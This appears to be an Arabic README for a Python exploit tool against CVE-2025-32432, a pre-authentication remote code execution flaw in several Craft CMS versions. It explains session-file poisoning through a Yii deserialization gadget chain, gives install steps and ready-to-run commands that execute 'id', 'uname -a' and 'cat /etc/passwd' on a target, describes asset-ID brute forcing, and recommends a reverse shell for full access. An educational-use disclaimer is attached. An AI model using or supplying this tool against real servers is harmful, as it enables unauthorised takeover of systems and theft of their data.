
CVE-2025-32432 هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) قبل المصادقة تؤثر على إصدارات متعددة من Craft CMS. من خلال الجمع بين تخزين بيانات الجلسة غير المنقّاة وأداة إلغاء تسلسل غير آمنة، يمكن لمهاجم غير مصادَق تنفيذ أوامر عشوائية على الخادم البعيد.
| الفرع | معرضة للخطر حتى |
|---|---|
| Craft CMS 3.x | ≤ 3.9.14 |
| Craft CMS 4.x | ≤ 4.14.14 |
| Craft CMS 5.x | ≤ 5.6.16 |
⚠️ من المحتمل أن تكون جميع الإصدارات الأقدم التي تُظهر سلوك التوجيه الموصوف متأثرة أيضًا.
تنشأ الثغرة من الجمع بين نقطتي ضعف متميزتين في نقطة النهاية assets/generate-transform:
سلوك التوجيه القديم يكتب معلمات الاستعلام الخام مباشرةً في ملف جلسة PHP في /tmp/sess_<PHPSESSID>، دون أي تنقية أو تصفية.
سلسلة أدوات إلغاء تسلسل Yii (FieldLayoutBehavior → PhpManager) تسمح للمهاجم بفرض تضمين ملف عشوائي — في هذه الحالة، ملف الجلسة المسموم.
الأثر المشترك: اختراق كامل للخادم، وسرقة البيانات، والحركة الجانبية، والمزيد.
requestsurllib3# Install via requirements file
pip install -r requirements.txt
# Or install directly
pip install requests urllib3
python exploit.py -u <target_url> -c "<command>" [options]
# Auto-exploit — brute-forces Asset ID automatically
python exploit.py -u https://craft.example.com -c "id"
# With a known Asset ID — more reliable and faster
python exploit.py -u https://craft.example.com -c "cat /etc/passwd" -a 42
# Custom timeout + verbose output
python exploit.py -u https://craft.example.com -c "uname -a" -t 10 -v
Step 1 ──► Session Establishment
Fetch homepage → obtain PHPSESSID cookie
Step 2 ──► Asset ID Resolution
Provided via -a flag OR brute-forced (non-404 detection)
Step 3 ──► Session Poisoning
Malicious GET request → raw PHP injected into /tmp/sess_<PHPSESSID>
Step 4 ──► RCE Trigger
Crafted deserialisation payload → PhpManager includes session file
→ PHP executes → system command runs → output returned
💡 يتم طباعة مخرجات الأمر (أول 2,000 حرف). للحصول على تفاعل كامل، يُنصح باستخدام قشرة عكسية.
requirements.txt
requests>=2.31.0
urllib3>=2.0
هذه الأداة مخصصة للأغراض التعليمية فقط والتقييمات الأمنية المصرَّح بها.
لا تستخدمها ضد أي نظام دون إذن صريح وخطي من مالك النظام.
لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. باستخدامك لهذه الأداة، فإنك توافق على أنك المسؤول الوحيد عن أفعالك وستمتثل لجميع القوانين المحلية والوطنية والدولية المعمول بها.
| الدور | التفاصيل |
|---|---|
| 🔍 اكتشاف الثغرة والاستغلال الأصلي | Mohammed Idrees Banyamer |
| 🐙 GitHub | @TheMursalin |
| 🤝 تحسين الكود | المساهمات المجتمعية مرحّب بها |
⭐ إذا وجدت هذا مفيدًا، فكّر في متابعة @TheMursalin لمزيد من الاستغلالات والشروحات والأدوات الأمنية.
يُطرح هذا المشروع بموجب رخصة MIT — راجع LICENSE للحصول على التفاصيل الكاملة.
| الخيار | الوصف | الافتراضي |
|---|
-u, --url | مطلوب. عنوان URL الأساسي للهدف (مثل https://example.com) | — |
-c, --cmd | مطلوب. أمر النظام المراد تنفيذه (مثل id، whoami) | — |
-a, --asset | معرّف أصل صالح معلوم (يُسرّع الاستغلال بشكل كبير) | None |
--scan-max | أقصى معرّف أصل للبحث القسري عند عدم توفير معرّف | 300 |
-t, --timeout | مهلة الطلب بالثواني | 15 |
-v, --verbose | تفعيل الإخراج التفصيلي/التصحيحي | Off |